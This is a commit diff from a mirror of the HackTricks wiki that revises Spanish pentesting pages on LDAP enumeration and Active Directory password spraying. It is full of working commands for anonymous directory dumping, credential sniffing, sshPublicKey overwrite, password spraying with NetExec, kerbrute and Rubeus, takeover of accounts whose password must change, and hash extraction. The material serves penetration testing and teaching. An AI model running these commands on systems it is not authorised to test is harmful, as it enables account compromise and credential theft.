mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/priv
This commit is contained in:
parent
16ab8466d1
commit
0fc33e86d9
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
El uso de **LDAP** (Protocolo Ligero de Acceso a Directorios) es principalmente para localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque simplificado en comparación con su predecesor, DAP, al tener una huella de código más pequeña.
|
||||
El uso de **LDAP** (Lightweight Directory Access Protocol) sirve principalmente para localizar diversas entidades como organizaciones, personas y recursos como archivos y dispositivos dentro de redes públicas y privadas. Ofrece un enfoque más ligero en comparación con su predecesor, DAP, al tener una huella de código menor.
|
||||
|
||||
Los directorios LDAP están estructurados para permitir su distribución a través de varios servidores, con cada servidor albergando una versión **replicada** y **sincronizada** del directorio, conocida como un Agente del Sistema de Directorios (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante.
|
||||
Los directorios LDAP están estructurados para permitir su distribución en varios servidores, donde cada servidor aloja una versión **replicada** y **sincronizada** del directorio, denominada Agente de Sistema de Directorio (DSA). La responsabilidad de atender las solicitudes recae totalmente en el servidor LDAP, que puede comunicarse con otros DSA según sea necesario para ofrecer una respuesta unificada al solicitante.
|
||||
|
||||
La organización del directorio LDAP se asemeja a una **jerarquía de árbol, comenzando con el directorio raíz en la parte superior**. Esto se ramifica hacia abajo a países, que se dividen aún más en organizaciones, y luego en unidades organizativas que representan diversas divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluyendo tanto personas como recursos compartidos como archivos e impresoras.
|
||||
La organización del directorio LDAP se asemeja a una **jerarquía en forma de árbol, comenzando con el directorio raíz en la parte superior**. Desde ahí se ramifica hacia países, que a su vez se dividen en organizaciones, y luego en unidades organizativas que representan distintas divisiones o departamentos, hasta llegar al nivel de entidades individuales, que incluye tanto a personas como a recursos compartidos como archivos e impresoras.
|
||||
|
||||
**Puerto por defecto:** 389 y 636(ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
|
||||
**Puerto por defecto:** 389 y 636(ldaps). Global Catalog (LDAP in ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### LDAP Data Interchange Format
|
||||
|
||||
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
|
||||
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Add, Modify, Delete, Rename).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Las líneas 1-3 definen el dominio de nivel superior local
|
||||
- Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
|
||||
- Las líneas 10-16 definen 2 unidades organizativas: dev y sales
|
||||
- Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores
|
||||
- Lines 1-3 definen el dominio de nivel superior local
|
||||
- Lines 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
|
||||
- Lines 10-16 definen 2 unidades organizativas: dev y sales
|
||||
- Lines 18-26 crean un objeto del dominio y asignan atributos con valores
|
||||
|
||||
## Escribir datos
|
||||
|
||||
Ten en cuenta que si puedes modificar valores, podrías ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagina que **puedes cambiar la información de "sshPublicKey"** de tu usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh está leyendo las claves públicas desde LDAP**. Si puedes modificar la clave pública de un usuario, **podrás iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh**.
|
||||
Tenga en cuenta que si puede modificar valores podría ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagine que **puede cambiar la información "sshPublicKey"** de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh está leyendo las claves públicas desde LDAP**. Si puede modificar la clave pública de un usuario **podrá iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -66,41 +66,66 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
```
|
||||
## Sniff clear text credentials
|
||||
|
||||
Si LDAP se utiliza sin SSL, puedes **sniff credentials in plain text** en la red.
|
||||
Si LDAP se usa sin SSL puedes **sniff credentials in plain text** en la red.
|
||||
|
||||
Además, puedes realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente.** Aquí puedes hacer un **Downgrade Attack** para que el cliente use las **credentials in clear text** para iniciar sesión.
|
||||
También puedes realizar un **MITM** en la red **entre el servidor LDAP y el cliente.** Aquí puedes hacer un **Downgrade Attack** para que el cliente use las **credentials in clear text** para iniciar sesión.
|
||||
|
||||
**Si se utiliza SSL**, puedes intentar hacer **MITM** como se mencionó anteriormente, pero ofreciendo un **false certificate**; si el **usuario lo acepta**, puedes degradar el método de autenticación y ver las credenciales nuevamente.
|
||||
**Si SSL se usa** puedes intentar realizar un **MITM** como el mencionado arriba pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, podrás degradar el método de autenticación y ver de nuevo las credenciales.
|
||||
|
||||
## Anonymous Access
|
||||
|
||||
### Bypass TLS SNI check
|
||||
|
||||
Según [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), solo al acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), pudo contactar el servicio LDAP y extraer información como usuario anónimo:
|
||||
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonymous binds
|
||||
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permite a los usuarios autenticados iniciar solicitudes LDAP.\
|
||||
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación particular para permitir enlaces anónimos** y haber otorgado más acceso del que se pretendía, dando así a los usuarios no autenticados acceso a todos los objetos en AD.
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como un listado completo de usuarios, grupos, equipos, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y desde Windows Server 2003, solo usuarios autenticados tienen permitido iniciar solicitudes LDAP.\
|
||||
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación concreta para permitir anonymous binds** y haber otorgado más acceso del previsto, dando así a usuarios no autenticados acceso a todos los objetos en AD.
|
||||
|
||||
## Valid Credentials
|
||||
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||
|
||||
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador de Dominio usando:
|
||||
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
|
||||
- (objectClass=*) to inventory objects under a base DN
|
||||
- (sAMAccountName=*) to harvest user principals
|
||||
|
||||
Examples:
|
||||
```bash
|
||||
# Enumerate objects from the root DSE (base DN autodetected)
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||
|
||||
# Dump users with key attributes for spraying and targeting
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||
|
||||
# Extract just the sAMAccountName field into a list
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||
```
|
||||
What to look for:
|
||||
- sAMAccountName, userPrincipalName
|
||||
- memberOf y la ubicación en OU para acotar targeted sprays
|
||||
- pwdLastSet (patrones temporales), userAccountControl flags (deshabilitado, se requiere smartcard, etc.)
|
||||
|
||||
Note: Si no se permite el anonymous bind, normalmente verás un Operations error indicando que se requiere un bind.
|
||||
|
||||
## Credenciales válidas
|
||||
|
||||
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el administrador del dominio usando:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
pip3 install ldapdomaindump
|
||||
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
||||
```
|
||||
### [Fuerza Bruta](../generic-hacking/brute-force.md#ldap)
|
||||
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
||||
|
||||
## Enumeración
|
||||
## Enumeration
|
||||
|
||||
### Automatizada
|
||||
### Automatizado
|
||||
|
||||
Usando esto podrás ver la **información pública** (como el nombre de dominio)**:**
|
||||
Con esto podrás ver la **información pública** (como el nombre de dominio)**:**
|
||||
```bash
|
||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
```
|
||||
@ -121,7 +146,7 @@ Primero intenta **conectarte sin** credenciales:
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nombrado** o el **nombre de dominio**) de:
|
||||
Si la respuesta es `True`, como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nombres** o el **nombre de dominio**):
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -129,7 +154,7 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Una vez que tengas el contexto de nombres, puedes hacer algunas consultas más emocionantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
|
||||
Una vez que tengas el contexto de nombres puedes hacer consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
@ -145,7 +170,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio** de Windows utilizando consultas LDAP.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) es un script en Python útil para **enumerar usuarios, grupos y equipos de un dominio Windows** mediante consultas LDAP.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||
```
|
||||
### ldapsearch
|
||||
|
||||
Verifica credenciales nulas o si tus credenciales son válidas:
|
||||
Comprobar credenciales nulas o si tus credenciales son válidas:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
@ -173,7 +198,7 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Si encuentras algo que diga que el "_bind debe completarse_" significa que las credenciales son incorrectas.
|
||||
Si encuentras algo que diga "_bind must be completed_" significa que las credenciales son incorrectas.
|
||||
|
||||
Puedes extraer **todo de un dominio** usando:
|
||||
```bash
|
||||
@ -189,7 +214,7 @@ Extraer **usuarios**:
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
Extraer **computadoras**:
|
||||
Extraer **computers**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -201,7 +226,7 @@ Extraer **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extraer **Usuarios de Dominio**:
|
||||
Extraer **Domain Users**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -213,19 +238,19 @@ Extraer **Administradores**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Grupo de Escritorio Remoto**:
|
||||
Extraer **Grupo de Escritorio Remoto**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
|
||||
Para ver si tienes acceso a alguna contraseña puedes usar grep después de ejecutar una de las consultas:
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Por favor, ten en cuenta que las contraseñas que puedes encontrar aquí podrían no ser las reales...
|
||||
Por favor, ten en cuenta que las contraseñas que puedas encontrar aquí podrían no ser las reales...
|
||||
|
||||
#### pbis
|
||||
|
||||
Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y generalmente se instala en `/opt/pbis`.\
|
||||
Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y normalmente se instala en `/opt/pbis`.\
|
||||
**Pbis** te permite obtener información básica fácilmente:
|
||||
```bash
|
||||
#Read keytab file
|
||||
@ -255,13 +280,13 @@ Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open
|
||||
./list-groups-for-user <username>
|
||||
./lsa list-groups-for-user <username>
|
||||
#Get groups of each user
|
||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get users of a group
|
||||
./enum-members --by-name "domain admins"
|
||||
./lsa enum-members --by-name "domain admins"
|
||||
#Get users of each group
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get description of each user
|
||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||
@ -270,23 +295,23 @@ echo "$line";
|
||||
echo "======================"
|
||||
done
|
||||
```
|
||||
## Interfaz Gráfica
|
||||
## Interfaz gráfica
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Descargar Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
Puedes descargar una interfaz gráfica con el servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Por defecto se instala en: _/opt/jxplorer_
|
||||
Por defecto está instalado en: _/opt/jxplorer_
|
||||
|
||||
.png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Godap es una interfaz de usuario de terminal interactiva para LDAP que se puede usar para interactuar con objetos y atributos en AD y otros servidores LDAP. Está disponible para Windows, Linux y MacOS y soporta enlaces simples, pass-the-hash, pass-the-ticket y pass-the-cert, junto con varias otras características especializadas como buscar/crear/cambiar/eliminar objetos, agregar/quitar usuarios de grupos, cambiar contraseñas, editar permisos de objetos (DACLs), modificar DNS integrado de Active Directory (ADIDNS), exportar a archivos JSON, etc.
|
||||
Godap es una interfaz de usuario de terminal interactiva para LDAP que puede usarse para interactuar con objetos y atributos en AD y otros servidores LDAP. Está disponible para Windows, Linux y MacOS y soporta simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, junto con varias otras funcionalidades especializadas como buscar/crear/modificar/eliminar objetos, añadir/quitar usuarios de grupos, cambiar contraseñas, editar permisos de objetos (DACLs), modificar Active-Directory Integrated DNS (ADIDNS), exportar a archivos JSON, etc.
|
||||
|
||||

|
||||
|
||||
@ -294,25 +319,25 @@ Puedes acceder a él en [https://github.com/Macmod/godap](https://github.com/Mac
|
||||
|
||||
### Ldapx
|
||||
|
||||
Ldapx es un proxy LDAP flexible que se puede usar para inspeccionar y transformar el tráfico LDAP de otras herramientas. Se puede usar para ofuscar el tráfico LDAP para intentar eludir herramientas de protección de identidad y monitoreo LDAP e implementa la mayoría de los métodos presentados en la charla [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
Ldapx es un proxy LDAP flexible que puede usarse para inspeccionar y transformar tráfico LDAP de otras herramientas. Puede usarse para ofuscar tráfico LDAP con el fin de intentar eludir herramientas de protección de identidad y de monitoreo LDAP e implementa la mayoría de los métodos presentados en la charla [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
|
||||

|
||||
|
||||
Puedes obtenerlo de [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
Puedes obtenerlo desde [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
|
||||
## Autenticación a través de kerberos
|
||||
## Authentication via kerberos
|
||||
|
||||
Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de a través de **NTLM** usando el parámetro `-Y GSSAPI`
|
||||
Usando `ldapsearch` puedes **autenticarte** contra **kerberos** en lugar de vía **NTLM** usando el parámetro `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
Si puedes acceder a los archivos donde se contienen las bases de datos (podría estar en _/var/lib/ldap_). Puedes extraer los hashes usando:
|
||||
Si puedes acceder a los archivos donde se encuentran las bases de datos (podrían estar en _/var/lib/ldap_). Puedes extraer los hashes usando:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Puedes alimentar a john con el hash de la contraseña (de '{SSHA}' a 'structural' sin añadir 'structural').
|
||||
Puedes alimentar a john con el hash de la contraseña (desde '{SSHA}' hasta 'structural' sin añadir 'structural').
|
||||
|
||||
### Archivos de Configuración
|
||||
### Archivos de configuración
|
||||
|
||||
- General
|
||||
- containers.ldif
|
||||
@ -335,7 +360,7 @@ Puedes alimentar a john con el hash de la contraseña (de '{SSHA}' a 'structural
|
||||
- Sun ONE Directory Server 5.1
|
||||
- 75sas.ldif
|
||||
|
||||
## HackTricks Comandos Automáticos
|
||||
## Comandos automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||
@ -378,4 +403,10 @@ Entry_7:
|
||||
Name: Netexec LDAP BloodHound
|
||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Una vez que hayas encontrado varios **nombres de usuario válidos** puedes probar las **contraseñas más comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\
|
||||
Por **defecto** la **mínima** **longitud** **de** **contraseña** es **7**.
|
||||
Una vez que hayas encontrado varios **valid usernames** puedes intentar los **common passwords** (ten en cuenta la password policy del entorno) con cada uno de los usuarios descubiertos.\
|
||||
Por **defecto** la **longitud** mínima de **password** es **7**.
|
||||
|
||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
Las listas de **common usernames** también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto más de 10).
|
||||
Ten en cuenta que **podrías lockout algunas cuentas si intentas varios passwords incorrectos** (por defecto más de 10).
|
||||
|
||||
### Obtener la política de contraseñas
|
||||
### Obtener password policy
|
||||
|
||||
Si tienes credenciales de usuario o un shell como usuario del dominio puedes **obtener la política de contraseñas con**:
|
||||
Si tienes user credentials o una shell como domain user puedes **obtener la password policy con**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Explotación desde Linux (o desde cualquier sistema)
|
||||
### Explotación desde Linux (o todos)
|
||||
|
||||
- Usando **crackmapexec:**
|
||||
```bash
|
||||
@ -40,6 +40,21 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
- Usando **NetExec (sucesor de CME)** para spraying dirigido y de bajo ruido a través de SMB/WinRM:
|
||||
```bash
|
||||
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||
|
||||
# Spray a single candidate password against harvested users over SMB
|
||||
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||
--continue-on-success --no-bruteforce --shares
|
||||
|
||||
# Validate a hit over WinRM (or use SMB exec methods)
|
||||
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||
|
||||
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||
sudo ntpdate <DC_FQDN>
|
||||
```
|
||||
- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
@ -47,11 +62,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar lockouts):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar bloqueos):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO; A VECES NO FUNCIONA
|
||||
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO, A VECES NO FUNCIONA
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
@ -69,7 +84,7 @@ done
|
||||
```
|
||||
#### Desde Windows
|
||||
|
||||
- Con [Rubeus](https://github.com/Zer1t0/Rubeus) versión con el módulo brute:
|
||||
- Con la versión de [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +92,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (puede generar usuarios del dominio de forma predeterminada, obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo con ella):
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo con ella):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -85,11 +100,11 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identificar y apoderarse de las cuentas "Password must change at next logon" (SAMR)
|
||||
### Identificar y tomar el control de cuentas "Password must change at next logon" (SAMR)
|
||||
|
||||
Una técnica de bajo ruido es hacer password spraying con una contraseña benigna/vacía y detectar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE, lo que indica que la contraseña fue forzosamente expirada y puede cambiarse sin conocer la anterior.
|
||||
Una técnica de bajo ruido es realizar un password spray con una contraseña benigna/vacía y detectar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE, lo que indica que la contraseña fue forzada a expirar y puede cambiarse sin conocer la anterior.
|
||||
|
||||
Flujo de trabajo:
|
||||
Workflow:
|
||||
- Enumerar usuarios (RID brute via SAMR) para construir la lista de objetivos:
|
||||
|
||||
{{#ref}}
|
||||
@ -99,12 +114,12 @@ Flujo de trabajo:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray una contraseña vacía y sigue con los hits para capturar cuentas que deben cambiarla en el próximo logon:
|
||||
- Realiza un spray con una contraseña vacía y continúa en los hits para capturar cuentas que deben cambiarla en el siguiente logon:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Para cada hit, cambia la password a través de SAMR con NetExec’s module (no se necesita old password cuando "must change" está establecido):
|
||||
- Para cada hit, cambia la password mediante SAMR usando el módulo de NetExec (no se necesita el old password cuando "must change" está configurado):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -121,19 +136,19 @@ Notas operativas:
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
